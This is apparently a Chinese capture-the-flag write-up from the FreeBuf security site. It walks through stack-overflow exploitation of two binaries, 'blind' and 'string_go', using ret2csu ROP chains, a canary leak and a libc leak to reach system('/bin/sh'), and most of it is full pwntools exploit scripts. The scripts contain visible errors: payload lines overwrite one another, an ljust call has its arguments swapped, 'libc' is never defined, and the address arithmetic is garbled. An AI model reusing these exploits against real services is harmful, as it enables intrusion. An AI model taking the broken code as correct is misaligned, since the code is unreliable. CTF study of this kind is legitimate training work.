官方公众号企业安全新浪微博
FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。
FreeBuf+小程序
前言
在学习pwn的过程中,我们通常会碰到开启NX的情况,也就是堆栈不可执行,在这种情况下,我们要利用栈内的未被清空的内容或者例如init这种函数,来进行构造rop,进一步编写exp拿到shell。
blind init
首先用IDA查看文件:
很明显的一个栈溢出漏洞:接着我们checksec一下:
就看见一个NX开启,这个很明显我们通过init上的几个汇编代码:
将数据存入寄存器,再利用
来运行其中寄存器r12中的东西,很常见的思路。
我们决定利用
这两个函数来在bss段。
构造system(‘bin/sh’)这个危险函数。
引入:
构建payload:
注入:打通
exp如下:
from pwn import *
p = remote()
ELF = ELF("./blind")
payload = "a" * (0x50+0x8)
payload = p64(0x4007BA)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(ELF.got["read"])
payload += p64(1)
payload += p64(ELF.got["alarm"])
payload += p64(0)
payload += p64(0x4007A0)
payload += 'A' * 56
payload = "a" * (0x50+0x8)
payload = p64(0x4007BA)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(ELF.got["read"])
payload += p64(0x3b)
payload += p64(0x601088)
payload += p64(0)
payload += p64(0x4007A0)
payload += 'A' * 56
payload = "a" * (0x50+0x8)
payload = p64(0x4007BA)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(ELF.got["alarm"])
payload += p64(0)
payload += p64(0)
payload += p64(0x601088)
payload += p64(0x4007A0)
payload += 'A' * 56
payload += (0x500 - len(payload)) * "a"
p.send(payload)
p.send("\xd5")
p.send("/bin/sh\x00" + "abc" )
p.interactive()
string_go
先打开ida看看
checksec一下,发现保护全开......
接着我们继续看代码:
可见我们第一次输入的会先进行一个splite和一系列验证,之后再输入绕过lative_func,我们首先绕过这些再通过它获取canary。
可以看到,要绕过:
绕过的话就需要输入一个-7,而最后那个直接输入一个\x10就可以了。
接下来就是常规操作,获取canary,获取libc地址,最终cat flag,行云流水。
exp如下:
from pwn import *
p = remote(,)
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("./string_go")
p.sendlineafter(">>> ", "1+2")
p.sendlineafter(">>> ","-7")
p.sendlineafter(">>> ","helloword")
p.sendlineafter(">>> ","\x10")
p.recv(0x38)
canary = u64(p.recv(0x6).ljust('/x00',8))
p.recv(0x18)
elf.address = u64(p.recv(0x8)) - 0x254D
p.recv(0x98)
libc.address = u64(p.recv(0x8)) - 0x7fbdd8975bf7 - 0x7fbdd8954000
shell = p64(elf.address + 0x3cf3)
shell += p64(next(libc.search("/bin/sh")))+p64(libc.sym["system"])
payload = "a" * 0x18
payload += p64(canary)
payload += "a" * 0x18
payload += p64(elf.address+0x14ce)
payload += shell
p.sendline(payload)
p.interactive()